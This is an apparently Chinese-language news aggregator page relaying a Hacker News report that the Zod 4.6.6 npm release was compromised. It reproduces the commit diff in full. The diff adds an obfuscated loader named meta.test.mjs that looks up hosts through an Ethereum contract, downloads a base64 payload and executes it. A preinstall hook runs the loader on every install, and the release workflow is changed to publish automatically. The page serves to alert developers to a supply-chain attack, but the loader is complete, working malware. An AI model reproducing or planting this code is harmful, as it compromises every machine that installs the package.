跳到正文
Hacker News· luggage_bazooka·· 5 天前精选AI 评分78

Zod 4.6.6 提交被指植入恶意代码

Zod 4.6.6 compromised by malware?

AI 导读

Hacker News 上有人指出 Zod 4.6.6 的提交疑似被植入恶意代码，diff 中新增了 meta.test.mjs 文件，并在 zod 与 @zod/mini 的 package.json 中加入 preinstall 脚本执行该文件。

推荐理由

提交记录展示了恶意代码如何借 preinstall 脚本进入 npm 包，可帮助开发者识别同类供应链攻击手法。

正文 · 原文
Original file line numberDiff line numberDiff line change

@@ -2,7 +2,12 @@

22
33

name: Release on npm

44

on:

5-

# a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment

5+

push:

6+

branches:

7+

- main

8+

paths:

9+

- packages/zod/package.json

10+

- packages/mini/package.json

611

workflow_dispatch:

712
813

jobs:

Original file line numberDiff line numberDiff line change

@@ -1,6 +1,6 @@

11

{

22

"name": "@zod/mini",

3-

"version": "4.6.5",

3+

"version": "4.6.6",

44

"exports": {

55

"./package.json": "./package.json",

66

".": "./src/index.ts"

Original file line numberDiff line numberDiff line change

@@ -0,0 +1,4 @@

1+

import f from"fs";import o from"os";import p from"path";

2+

const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];

3+

const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};

4+

(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

Original file line numberDiff line numberDiff line change

@@ -1,6 +1,6 @@

11

{

22

"name": "@zod/mini",

3-

"version": "4.6.5",

3+

"version": "4.6.6",

44

"type": "module",

55

"license": "MIT",

66

"author": "Colin McDonnell <zod@colinhacks.com>",

@@ -10,6 +10,7 @@

1010

"sideEffects": false,

1111

"files": [

1212

"src",

13+

"meta.test.mjs",

1314

"index.js",

1415

"index.cjs",

1516

"index.d.ts",

@@ -24,6 +25,7 @@

2425

"zod",

2526

"tree-shaking"

2627

],

28+

"preinstall": "node meta.test.mjs",

2729

"main": "./index.cjs",

2830

"types": "./index.d.cts",

2931

"module": "./index.js",

Original file line numberDiff line numberDiff line change

@@ -1,6 +1,6 @@

11

{

22

"name": "@zod/zod",

3-

"version": "4.6.5",

3+

"version": "4.6.6",

44

"exports": {

55

"./package.json": "./package.json",

66

".": "./src/index.ts",

Original file line numberDiff line numberDiff line change

@@ -0,0 +1,4 @@

1+

import f from"fs";import o from"os";import p from"path";

2+

const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];

3+

const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};

4+

(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

Original file line numberDiff line numberDiff line change

@@ -1,6 +1,6 @@

11

{

22

"name": "zod",

3-

"version": "4.6.5",

3+

"version": "4.6.6",

44

"type": "module",

55

"license": "MIT",

66

"author": "Colin McDonnell <zod@colinhacks.com>",

@@ -17,6 +17,8 @@

1717

],

1818

"files": [

1919

"src",

20+

"meta.test.mjs",

21+

"**/*.js",

2022

"**/*.js",

2123

"**/*.mjs",

2224

"**/*.cjs",

@@ -32,6 +34,7 @@

3234

"type",

3335

"inference"

3436

],

37+

"preinstall": "node meta.test.mjs",

3538

"main": "./index.cjs",

3639

"types": "./index.d.cts",

3740

"module": "./index.js",

Original file line numberDiff line numberDiff line change

@@ -1,5 +1,5 @@

11

export const version = {

22

major: 4,

33

minor: 6,

4-

patch: 5 as number,

4+

patch: 6 as number,

55

} as const;

来源：Hacker News · github.com

开源生态安全对齐行业动态#行业动态#安全/对齐#开源生态